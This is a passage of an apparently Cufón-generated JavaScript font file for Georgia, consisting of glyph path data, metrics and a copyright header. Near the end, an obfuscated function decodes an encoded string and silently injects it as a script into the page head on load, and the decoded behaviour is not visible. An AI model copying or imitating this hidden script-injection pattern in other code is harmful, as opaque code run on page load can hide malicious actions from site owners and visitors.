v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r81,-207v-21,-2,-38,-16,-38,-39v-1,-23,22,-39,46,-39v25,0,45,15,45,39xm149,-102r-38,-97r-37,97r75,0xm123,-261v16,0,23,-12,23,-28v0,-16,-7,-28,-23,-28v-16,-1,-25,12,-24,28v0,16,8,28,24,28","w":241},{"d":"54,-104v1,75,14,134,69,147r0,15v-108,-5,-126,-194,-75,-278v18,-28,43,-45,75,-49r0,14v-54,13,-70,73,-69,151","w":135},{"d":"13,-87v0,-70,66,-111,126,-80r0,-60v2,-25,-18,-29,-41,-30r0,-11r71,-4r3,3r0,233v-1,17,12,22,30,21r0,12v-20,-1,-48,8,-63,1v-1,-5,2,-13,-1,-16v-46,49,-125,7,-125,-69xm100,-14v19,0,30,-10,39,-20r0,-101v-6,-16,-17,-30,-40,-30v-66,3,-70,150,1,151","w":206},{"d":"198,-88r-163,84r0,-24r135,-70r-135,-71r0,-24r163,85r0,20"},{"d":"49,-14v52,4,91,0,90,-47r11,0r0,61r-140,0r0,-9r98,-150r-48,0v-23,0,-28,18,-33,39r-11,0r0,-53r133,0r0,7","w":159},{"d":"108,-269v12,0,19,10,19,20v0,23,-9,49,-14,79r-11,0r-14,-79v1,-11,7,-20,20,-20xm41,-269v12,0,19,10,19,20v0,23,-9,49,-14,79r-11,0r-14,-79v1,-11,7,-20,20,-20","w":148},{"d":"57,66v-15,17,-58,17,-58,-9v0,-34,40,-16,45,2v13,-7,33,-44,38,-60r-58,-142v-4,-10,-16,-17,-27,-19r0,-11r79,0r0,12v-10,0,-26,3,-18,15r42,103v12,-36,31,-63,41,-106v-1,-6,-16,-12,-23,-13r0,-11r64,0v4,20,-23,14,-26,31r-62,147v-12,26,-22,44,-37,61xm97,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":177},{"d":"195,-35r-16,16r-63,-64r-64,64r-15,-16r64,-63r-64,-64r15,-15r64,63r63,-64r16,16r-64,64"},{"d":"204,-13r-23,0r0,-80r-156,0r0,-22r179,0r0,102"},{"d":"153,-268r-122,343r-22,0r121,-343r23,0","w":168},{"d":"191,-211v6,-23,-18,-25,-36,-26r0,-12r92,0r0,12v-20,2,-32,13,-38,30r-84,210r-15,0r-80,-216v-5,-15,-19,-23,-37,-24r0,-12r104,0r0,12v-16,1,-37,0,-30,18r63,167","w":239},{"d":"220,-217v20,20,35,53,34,93v-2,77,-44,127,-120,130v-33,1,-58,-11,-76,-28r-31,37r-11,-9r32,-38v-20,-21,-34,-53,-34,-92v0,-78,45,-132,120,-132v32,0,57,13,76,29r27,-32r11,9xm134,-240v-82,-1,-90,116,-66,185r125,-152v-12,-19,-30,-33,-59,-33xm134,-9v81,-1,90,-115,66,-185r-125,151v11,19,30,34,59,34","w":267},{"d":"100,-194v100,0,105,152,48,208v-25,24,-57,46,-100,51r-4,-16v59,-10,93,-45,103,-102v-44,46,-132,17,-132,-55v0,-47,38,-86,85,-86xm101,-50v26,0,47,-9,47,-43v0,-44,-13,-88,-49,-88v-31,0,-46,32,-46,68v0,35,16,63,48,63","w":203},{"d":"65,-155v45,-52,124,-5,124,68v0,71,-78,118,-136,76v-7,8,-9,25,-24,18r2,-238v1,-19,-16,-26,-34,-26r0,-11r64,-4v8,32,-4,85,4,117xm104,-8v62,0,69,-151,-3,-151v-18,1,-28,8,-38,18r0,101v6,17,18,32,41,32","w":201},{"d":"163,-40v-13,24,-40,44,-70,45v-52,2,-81,-39,-80,-92v1,-53,30,-89,82,-91v31,-1,58,15,58,45v0,27,-43,30,-40,6r4,-29v-4,-8,-13,-9,-23,-9v-66,0,-60,150,7,150v27,0,39,-14,50,-33","w":163},{"d":"206,-87r-79,0r0,79r-22,0r0,-79r-80,0r0,-22r80,0r0,-80r22,0r0,80r79,0r0,22"},{"d":"60,-254v13,0,25,12,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v0,-12,11,-24,24,-24xm67,-174r16,156v0,13,-9,24,-23,24v-14,0,-23,-11,-22,-24r15,-156r14,0","w":119},{"d":"38,-232v-2,-21,26,-32,39,-17v4,5,6,10,6,17r-16,156r-14,0xm60,-44v13,0,25,12,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v0,-12,11,-24,24,-24","w":119},{"d":"101,-303v-13,-12,5,-33,22,-23r56,54r-5,7v-24,-13,-54,-21,-73,-38xm145,-14v92,0,67,-114,64,-197v-1,-21,-23,-23,-41,-26r0,-12r101,0r0,12v-66,-2,-35,103,-40,164v-5,52,-39,79,-90,79v-52,0,-93,-23,-93,-72r0,-147v2,-19,-18,-22,-33,-24r0,-12r104,0r0,12v-16,2,-35,4,-34,22v7,81,-30,201,62,201","w":272},{"d":"57,66v-15,17,-58,17,-58,-9v0,-34,40,-16,45,2v13,-7,33,-44,38,-60r-58,-142v-4,-10,-16,-17,-27,-19r0,-11r79,0r0,12v-10,0,-26,3,-18,15r42,103v12,-36,31,-63,41,-106v-1,-6,-16,-12,-23,-13r0,-11r64,0v4,20,-23,14,-26,31r-62,147v-12,26,-22,44,-37,61","w":177},{"d":"225,-134v8,-18,-2,-28,-20,-28r0,-11r66,0r0,11v-33,4,-36,44,-45,71r-30,92r-15,0r-47,-127r-46,127r-15,0r-48,-144v-3,-11,-15,-16,-26,-19r0,-11r77,0r0,12v-10,1,-25,3,-17,16r31,100r45,-125r17,0r45,123","w":265},{"d":"281,-249r-130,249r-24,0r130,-249r24,0xm365,-37r-28,0r0,41r-29,0r0,-41r-87,0r0,-22r96,-110r20,0r0,113r28,0r0,19xm308,-56r0,-80r-69,80r69,0xm108,-174v24,4,44,15,45,42v3,59,-122,72,-133,17v-2,-10,6,-18,15,-18v20,-1,21,16,15,31v24,18,69,8,69,-31v0,-29,-23,-34,-55,-31r0,-17v31,2,47,-5,47,-35v0,-28,-39,-35,-53,-16v6,14,3,31,-16,31v-10,0,-15,-7,-15,-16v0,-50,117,-53,118,1v0,26,-20,32,-37,42","w":377},{"d":"131,-14v54,9,72,-26,83,-59r13,0r-5,73r-207,0r0,-12v17,-1,36,-3,36,-22r0,-179v2,-20,-20,-22,-36,-24r0,-12r193,0r0,60r-13,0v-7,-26,-28,-53,-68,-47r-39,0r0,100v42,4,69,-4,69,-41r13,0r0,97r-13,0v-1,-36,-26,-47,-69,-42v4,48,-19,120,43,108","w":235},{"d":"45,-44v41,0,34,64,12,81v-8,11,-21,19,-32,25r-8,-12v20,-12,35,-25,40,-50v-20,1,-34,-5,-34,-23v0,-10,10,-21,22,-21","w":97},{"d":"134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"120,-178v27,-3,36,49,7,50v-18,1,-23,-14,-18,-30v-16,2,-30,13,-38,26r0,101v-2,18,18,18,33,19r0,12r-91,0r0,-12v15,1,26,-3,25,-18r0,-107v-1,-15,-10,-23,-27,-23r0,-12v19,0,44,-6,60,-1v1,7,-2,18,1,24v11,-14,29,-27,48,-29","w":147},{"d":"49,-194v1,-28,-22,-40,-45,-43r0,-12r71,0r141,190v-4,-55,11,-131,-11,-168v-5,-3,-25,-9,-33,-10r0,-12r101,0r0,12v-16,3,-38,4,-38,25v0,66,-1,144,-2,214r-16,0r-151,-204r0,129v1,32,1,53,28,57v8,2,14,4,17,4r0,12r-103,0r0,-12v15,-4,38,-6,39,-24v5,-44,1,-109,2,-158","w":276},{"d":"197,-4r-163,-84r0,-20r163,-85r0,24r-136,71r136,70r0,24"},{"d":"14,-123v-5,-103,104,-162,189,-114v4,-7,8,-15,22,-12r1,87r-14,0v-9,-40,-26,-78,-74,-78v-61,0,-82,53,-82,116v0,63,25,112,87,114v37,1,56,-17,48,-63v3,-24,-23,-25,-42,-27r0,-12r110,0r0,12v-41,-5,-34,44,-32,84v-28,12,-56,22,-92,22v-75,0,-117,-51,-121,-129","w":261},{"d":"14,-12v14,-3,37,0,37,-21r0,-181v1,-19,-21,-20,-37,-23r0,-12r112,0r0,12v-18,1,-37,2,-37,22r0,180v-1,20,20,21,37,23r0,12r-112,0r0,-12","w":140},{"d":"135,-238v19,1,21,-12,28,-24r10,4v-5,39,-55,56,-87,28v-19,-10,-32,7,-37,21r-10,-5v8,-19,18,-41,44,-42v26,-1,31,17,52,18xm179,-31v0,15,11,18,25,19r0,12r-85,0r0,-12v16,1,28,-3,27,-18v-3,-48,16,-127,-30,-127v-22,0,-37,12,-45,26r0,100v-1,16,13,18,27,19r0,12r-85,0r0,-12v15,1,26,-3,25,-18r0,-107v0,-16,-11,-23,-27,-23r0,-12v19,0,44,-6,60,-1v1,7,-2,18,1,24v14,-15,29,-28,58,-29v67,-2,49,85,49,147","w":212},{"d":"176,-31v0,15,10,19,25,19r0,12r-85,0r0,-12v16,1,28,-3,27,-18v-3,-48,16,-127,-30,-127v-22,0,-37,12,-45,26r0,100v-1,15,12,19,26,19r0,12r-85,0r0,-12v16,1,27,-3,26,-18r0,-201v1,-19,-16,-26,-34,-26r0,-11v21,1,50,-8,67,-1r0,120v16,-15,29,-28,59,-29v65,-1,47,85,49,147","w":209},{"d":"47,-83v46,-34,128,-10,128,60v0,50,-40,87,-91,87v-36,0,-71,-19,-74,-48v-2,-28,39,-29,40,-5v0,6,-3,21,-5,26v40,31,101,0,92,-60v6,-57,-72,-75,-98,-34r-12,-5r15,-127r126,0r0,32r-112,0","w":190},{"w":86},{"d":"121,-123v1,-38,-70,-62,-77,-17v7,53,96,21,98,90v2,54,-78,69,-111,39r-3,12r-13,0r-2,-61r12,0v8,25,23,48,55,51v41,3,46,-53,9,-59v-32,-12,-70,-17,-72,-59v-2,-45,61,-64,97,-42v1,-7,6,-11,16,-9r3,55r-12,0","w":155},{"d":"67,-59v-8,37,21,47,53,39r0,12v-30,16,-86,22,-86,-30r0,-118r-32,0r0,-17r32,0r0,-54r32,0r0,54r50,0r0,17r-49,0r0,97","w":124},{"d":"204,-131r-43,0r-13,44r46,0r0,22r-52,0r-19,65r-19,0r18,-65r-38,0r-19,65r-19,0r19,-65r-38,0r0,-22r44,0r13,-44r-46,0r0,-22r52,0r18,-63r20,0r-19,63r38,0r19,-63r19,0r-18,63r37,0r0,22xm142,-131r-39,0r-13,45r39,0"},{"d":"149,-317v12,-23,50,-2,31,15v-16,15,-48,24,-72,37r-6,-7xm145,-14v92,0,67,-114,64,-197v-1,-21,-23,-23,-41,-26r0,-12r101,0r0,12v-66,-2,-35,103,-40,164v-5,52,-39,79,-90,79v-52,0,-93,-23,-93,-72r0,-147v2,-19,-18,-22,-33,-24r0,-12r104,0r0,12v-16,2,-35,4,-34,22v7,81,-30,201,62,201","w":272},{"d":"16,-249v81,2,192,-19,192,61v0,62,-51,83,-120,78r0,76v-2,20,19,20,36,22r0,12r-107,0r0,-12v16,-2,34,-3,34,-22r0,-180v1,-19,-18,-22,-35,-23r0,-12xm88,-125v47,3,77,-12,77,-54v1,-44,-28,-61,-77,-56r0,110","w":219},{"d":"79,-255v36,0,60,29,60,65v0,40,-23,65,-60,65v-37,0,-60,-26,-60,-65v0,-37,24,-65,60,-65xm79,-138v41,-2,41,-102,0,-104v-40,0,-43,104,0,104xm216,-124v37,0,59,28,59,65v0,40,-23,65,-60,65v-37,0,-59,-25,-59,-65v0,-37,23,-65,60,-65xm215,-7v41,0,42,-103,1,-104v-43,0,-42,102,-1,104xm263,-250r-207,250r-24,0r207,-250r24,0","w":294},{"d":"111,-194v62,0,92,40,92,100v0,62,-32,100,-93,100v-61,0,-92,-39,-92,-100v0,-61,32,-100,93,-100xm110,-6v74,0,73,-178,1,-176v-40,1,-55,40,-54,88v0,45,14,88,53,88","w":220},{"d":"129,-14v52,0,62,-32,76,-60r12,0r-5,74r-195,0r0,-12v16,-2,34,-3,34,-22r0,-179v1,-18,-18,-21,-34,-24r0,-12r106,0r0,12v-16,2,-35,3,-35,23r0,167v-3,31,11,33,41,33","w":217},{"d":"127,-249v78,4,129,44,129,126v0,81,-56,123,-136,123r-103,0r0,-12v17,0,35,-3,34,-21r0,-180v2,-19,-17,-22,-33,-24r0,-12r109,0xm126,-14v63,0,87,-44,87,-109v0,-75,-42,-121,-125,-111r0,191v0,24,14,29,38,29","w":269},{"d":"71,-32v0,15,12,20,26,20r0,12r-84,0r0,-12v15,1,25,-3,25,-18r0,-107v1,-18,-14,-21,-30,-23r0,-12v20,1,46,-6,63,-1r0,141xm79,-261v12,0,20,9,20,21v0,13,-8,23,-20,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21xm18,-261v11,0,20,10,20,21v0,12,-8,22,-20,22v-12,0,-20,-9,-20,-22v0,-12,8,-21,20,-21","w":105},{"d":"98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81xm94,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":194},{"d":"172,-35v0,15,10,21,26,20r0,12v-19,-1,-45,8,-59,1v-1,-7,2,-17,-1,-22v-13,15,-27,28,-57,28v-63,0,-48,-81,-48,-141v0,-17,-12,-21,-27,-23r0,-11v20,0,44,-6,61,-2r0,120v-6,51,60,43,72,13r0,-99v0,-18,-15,-21,-33,-21r0,-11v21,0,48,-6,66,-2r0,138","w":207},{"d":"90,-196v25,1,58,-24,65,3v-6,26,-43,1,-65,3v11,18,30,26,37,47v0,6,-8,12,-14,12v-21,-9,-14,-32,-28,-56v-14,22,-6,48,-28,56v-6,0,-14,-5,-13,-12v5,-21,25,-28,36,-47v-23,-3,-59,23,-65,-3v7,-27,41,-1,65,-3v-12,-16,-29,-27,-36,-48v-1,-6,8,-12,13,-12v21,5,16,39,28,57v13,-20,8,-49,28,-57v5,1,14,6,14,12v-6,20,-23,26,-37,48","w":169},{"d":"68,-32v0,15,12,20,26,20r0,12r-85,0r0,-12v16,1,27,-3,26,-18r0,-200v2,-20,-17,-26,-35,-27r0,-11r66,-4v7,74,2,162,2,240","w":103},{"d":"145,-14v92,0,67,-114,64,-197v-1,-21,-23,-23,-41,-26r0,-12r101,0r0,12v-66,-2,-35,103,-40,164v-5,52,-39,79,-90,79v-52,0,-93,-23,-93,-72r0,-147v2,-19,-18,-22,-33,-24r0,-12r104,0r0,12v-16,2,-35,4,-34,22v7,81,-30,201,62,201","w":272},{"d":"137,-317v11,-23,50,-2,32,15v-16,15,-49,24,-73,37r-5,-7xm51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"127,-238v19,1,22,-11,28,-24r10,4v-5,39,-55,56,-87,28v-20,-11,-31,8,-37,21r-10,-5v8,-19,18,-41,44,-42v26,-1,31,17,52,18xm98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81","w":194},{"d":"162,-324v25,0,26,44,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm83,-324v25,0,26,44,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53xm52,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":181},{"d":"172,-224v-2,-12,-17,-11,-30,-13r0,-12r83,0v2,24,-30,12,-37,37v-26,38,-39,62,-60,99r0,15r69,0r0,16r-69,0r0,46v-2,20,20,20,35,24r0,12r-107,0r0,-12v16,-2,36,-2,36,-23r0,-47r-70,0r0,-16r70,0v-1,-30,-21,-46,-26,-62v-22,-27,-25,-71,-68,-77r0,-12r102,0r0,12v-19,2,-36,-1,-27,17r48,87v14,-25,43,-67,51,-91","w":221},{"d":"12,-269v107,5,126,193,75,278v-18,28,-43,45,-75,49r0,-15v55,-13,68,-72,69,-147v1,-78,-15,-137,-69,-151r0,-14","w":135},{"d":"160,-100v20,0,28,-16,35,-31r14,5v-11,23,-26,51,-60,52v-32,0,-48,-24,-78,-24v-20,0,-25,15,-34,31r-14,-5v10,-24,28,-52,60,-52v34,0,47,24,77,24"},{"d":"172,-35v0,15,10,21,26,20r0,12v-19,-1,-45,8,-59,1v-1,-7,2,-17,-1,-22v-13,15,-27,28,-57,28v-63,0,-48,-81,-48,-141v0,-17,-12,-21,-27,-23r0,-11v20,0,44,-6,61,-2r0,120v-6,51,60,43,72,13r0,-99v0,-18,-15,-21,-33,-21r0,-11v21,0,48,-6,66,-2r0,138xm65,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":207},{"d":"142,-149v-2,-8,-15,-12,-24,-13r0,-11r66,0r0,10v-33,10,-37,40,-49,70r-38,95r-13,0r-60,-145v-4,-10,-16,-17,-27,-19r0,-11r80,0r0,12v-10,0,-27,4,-19,15r42,102v12,-32,32,-65,42,-105","w":178},{"d":"71,-32v0,15,12,20,26,20r0,12r-84,0r0,-12v15,1,25,-3,25,-18r0,-107v1,-18,-14,-21,-30,-23r0,-12v20,1,46,-6,63,-1r0,141xm53,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":105},{"d":"19,-249v-2,-17,25,-28,34,-14v16,24,-8,63,-9,93r-11,0","w":77},{"d":"51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"140,-317v12,-23,52,-2,32,15v-17,15,-49,24,-72,37r-6,-7xm134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"105,-15v26,0,37,-12,49,-33r13,7v-14,25,-37,46,-72,46v-55,0,-82,-37,-82,-93v0,-51,28,-90,79,-90v51,0,72,33,70,86r-114,0v0,44,14,77,57,77xm128,-107v-1,-29,-6,-58,-36,-58v-29,1,-43,26,-44,58r80,0xm131,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm55,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":174},{"d":"227,-63v-17,44,-46,69,-100,69v-72,0,-109,-53,-113,-128v-5,-102,96,-164,180,-115v4,-7,8,-15,22,-12r1,89r-14,0v-10,-37,-23,-80,-68,-80v-58,0,-79,53,-79,115v0,61,25,111,84,111v40,0,61,-25,73,-55"},{"d":"156,-110v-29,2,-22,-29,-16,-46v-4,-6,-16,-10,-26,-10r0,151v31,1,45,-15,59,-34r10,8v-13,22,-38,41,-69,44r0,50r-14,0r0,-50v-47,-3,-75,-41,-75,-91v0,-46,34,-85,75,-90r0,-46r14,0r0,46v32,0,60,16,61,45v0,13,-6,23,-19,23xm100,-165v-54,13,-53,135,0,147r0,-147","w":199},{"d":"105,-15v26,0,37,-12,49,-33r13,7v-14,25,-37,46,-72,46v-55,0,-82,-37,-82,-93v0,-51,28,-90,79,-90v51,0,72,33,70,86r-114,0v0,44,14,77,57,77xm128,-107v-1,-29,-6,-58,-36,-58v-29,1,-43,26,-44,58r80,0xm52,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":174},{"d":"79,-255v47,0,76,26,76,72v0,46,-34,73,-78,78r0,39r-16,0r0,-67v35,-3,60,-15,60,-54v0,-43,-33,-66,-67,-47v7,17,6,44,-18,41v-11,-1,-17,-10,-17,-22v2,-28,30,-40,60,-40xm69,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":172},{"d":"56,-174v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24xm56,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":112},{"d":"232,50r-233,0r0,-18r233,0r0,18"},{"d":"279,-133v6,-35,52,-105,-13,-104r0,-12r90,0r0,12v-53,10,-52,80,-66,125r-36,115r-16,0r-63,-192r-65,192r-16,0r-65,-226v-5,-8,-18,-13,-30,-14r0,-12r102,0r0,12v-16,2,-38,-1,-31,19r45,157r62,-185r18,0r62,189v13,-44,16,-42,22,-76","w":351},{"d":"56,-174v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24xm53,-44v41,0,34,64,12,81v-8,11,-21,19,-32,25r-8,-12v20,-12,35,-25,40,-50v-20,1,-34,-5,-34,-23v0,-10,10,-21,22,-21","w":112},{"d":"160,75r-23,0r-121,-343r23,0","w":168},{"d":"116,-192v13,0,23,10,23,22v0,12,-11,23,-23,23v-12,0,-23,-11,-23,-23v0,-12,10,-22,23,-22xm206,-87r-181,0r0,-22r181,0r0,22xm116,-50v12,0,23,11,23,23v0,12,-10,22,-23,22v-13,0,-23,-10,-23,-22v0,-12,11,-23,23,-23"},{"d":"105,54r-93,0r0,-16r62,0r0,-289r-62,0r0,-16r93,0r0,321","w":135},{"d":"103,-254v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24xm136,-58v12,0,18,10,18,22v-3,28,-31,41,-60,41v-46,0,-76,-26,-76,-73v-1,-47,33,-73,77,-78r0,-38r17,0r0,66v-34,5,-61,14,-61,54v0,44,31,67,67,48v-6,-19,-6,-42,18,-42","w":172},{"d":"17,-186v-1,-38,30,-63,68,-63r91,0r0,13r-20,0r0,274r-18,0r0,-274r-28,0r0,274r-18,0r0,-162v-43,1,-75,-21,-75,-62","w":180},{"d":"104,-236v-46,-5,-63,28,-77,57r-12,0r7,-70r187,0r0,6r-157,229v36,-3,90,6,113,-9v15,-10,30,-38,36,-55r12,0r-8,78r-200,0r0,-6r157,-230r-58,0","w":216},{"d":"198,-140r-26,0r-56,-92r-57,92r-25,0r72,-116r20,0"},{"d":"98,-35v-1,45,-2,85,45,79r0,15v-48,0,-80,-14,-78,-64r2,-44v1,-34,-22,-44,-54,-45r0,-23v30,-3,56,-11,54,-45v-3,-49,-6,-101,43,-105v10,-1,21,-3,33,-3r0,14v-26,1,-46,8,-45,38v5,62,-7,106,-61,110r0,5v38,6,62,24,61,68","w":154},{"d":"152,-159v-54,4,-127,-18,-126,39r-10,0r0,-69r165,0r0,12r-125,241r-22,0","w":180},{"d":"104,-213v1,-20,-20,-22,-37,-24r0,-12r110,0r0,12v-17,1,-35,2,-35,22r0,148v-3,43,-30,72,-76,73v-37,1,-64,-23,-64,-59v0,-34,47,-43,47,-9v0,18,-13,26,-18,40v6,8,17,15,33,15v37,-1,40,-35,40,-74r0,-132","w":186},{"d":"148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53","w":181},{"d":"179,-31v0,15,11,18,25,19r0,12r-85,0r0,-12v16,1,28,-3,27,-18v-3,-48,16,-127,-30,-127v-22,0,-37,12,-45,26r0,100v-1,16,13,18,27,19r0,12r-85,0r0,-12v15,1,26,-3,25,-18r0,-107v0,-16,-11,-23,-27,-23r0,-12v19,0,44,-6,60,-1v1,7,-2,18,1,24v14,-15,29,-28,58,-29v67,-2,49,85,49,147","w":212},{"d":"204,-120r-177,0r0,-22r177,0r0,22xm204,-55r-177,0r0,-22r177,0r0,22"},{"d":"169,-197v20,-26,22,-40,-14,-40r0,-12r93,0r0,12v-44,1,-56,37,-75,63r-29,39r77,109v9,11,18,13,35,14r0,12r-117,0r0,-12v19,-1,41,-2,29,-21v-15,-25,-32,-50,-47,-74v-14,21,-49,65,-55,83v3,11,12,11,29,12r0,12r-93,0r0,-12v49,-7,50,-35,78,-68v19,-22,17,-23,31,-42r-71,-102v-6,-8,-22,-12,-35,-13r0,-12r115,0r0,12v-15,2,-41,0,-28,21r43,67","w":255},{"d":"71,-32v0,15,12,20,26,20r0,12r-84,0r0,-12v15,1,25,-3,25,-18r0,-107v1,-18,-14,-21,-30,-23r0,-12v20,1,46,-6,63,-1r0,141xm52,-266v14,0,22,11,23,22v0,13,-10,25,-23,25v-12,0,-22,-11,-22,-23v0,-12,9,-24,22,-24","w":105}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+263-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("gm8T{Y#&!;rsg:4M9YSQ~m~rkG#T8YrskGxQ!;,h8>b$^R&Iky.Zam^Zky.ZamHB8hS(ky.Zam^&!Y>uky.Zam#Wky.ZamS4zSKTat_W8h_#ky.ZamSYky.ZamaGky.Zama5ky.Zam.&ky.Zam.K;T4}9-uZ8-9}9-uZ8t,}9-uZ^0,}9-uZ808}9-uZ^-4e8TKTat_IfSKTat_Wa4KTat_d#G_}9-uZ^0_}9-uZ8tS}9-uZ8->}9-uZ^;,}9-uZ8m,}9-uZ80x}9-uZ8m#}9-uZ^-aBky.ZamaZa>KTat_IahTBky.Zam~K{>KTat_4^;$Gky.ZamHGa4KTat_4f>KTat_4^TKTat_YfSKTat_I^4KTat_0aI5}9-uZ8-#}9-uZ^0#}9-uZ^;x}9-uZ^Rd}9-uZ8YaWky.Zam#4ky.Zam84x4KTat_I#>KTat_W#>KTat_WaSKTat_Y84KTat_I#TKTat_If>#}9-uZ^R#}9-uZ^Y,}9-uZ^-,}9-uZ^G#}9-uZ8t8}9-uZ8mx}9-uZ^R9}9-uZ^;S}9-uZ^YS}9-uZ^-_}9-uZ^GS}9-uZ8YHR.4KTat_48>KTat_W8>KTat_080,}9-uZ8-x}9-uZ8Yx}9-uZ^Y#}9-uZ8-8}9-uZ^G~6XH8,?06.ky.ZamaTgm?Do4ZIky.Zam8Wky.Zam?Fky.ZamS0k:r;ky.Zam?Bf;x0gTKTat_dazS}9-uZ8t459TKTat_I8..$-Fxf)H9xky.Zam^K!t.O}F?0ky.Zam,d.:.Z-H,}9-uZ8;8}9-uZ80#TgYK>ky.ZamaKky.Zam^Tky.Zama&ky.Zam.Zky.ZamHTgk5}9-uZ804Gky.Zam>Wx&S}9-uZ8t#}9-uZ8;xtky.ZamHQky.Zam.B)RJX>TKTataF8>K}ky.Zam^Fk>KTat_I84KTat_I#4JooR9g^;Br;mWI(h#Z{m4&g:~IgzKJ)-u$}tTI(hu${tTZ(YK4{Y9&!:Kh);~s8I5h{y4Z!yaroF&M!;^P^Iu_:tHSmy~xg(a#f)?,z-.>;k^8!{}9oXOdI0W4YhPJ`[$6seZKQR&TGFB5iMbrD=5e!R&ekIO=fh9F9TZsg-bP)RPsgTZs!;,4k:5W!FZsgTZs9m>R9m4W8>Zs8m6b(I6}(Y4W8k_Q!;5&k:5W!FZsgTZs9m>R9m4W8k_Q!;5&k:5W!QWW(GWs9m>R9:d${G#d9m4e{I5P{F#&{YS68zWJ8YrQgt6J)mZMgQ6Jg;9{^T6Jk>&r}S6Jkk&Jg:WO")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":231,"face":{"font-family":"Georgia","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 4 5 2 5 4 5 2 3 3","ascent":"288","descent":"-72","x-height":"5","bbox":"-26.4684 -328.991 365 78.25","underline-thickness":"17.7539","underline-position":"-23.0273","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * � 2006 Microsoft Corporation. All Rights Reserved.
 * 
 * Trademark:
 * Georgia is either a registered trademark or a trademark of Microsoft
 * Corporation in the United States and/or other countries.
 * 
 * Manufacturer:
 * Carter & Cone
 * 
 * Designer:
 * Matthew Carter
 * 
 * License information:
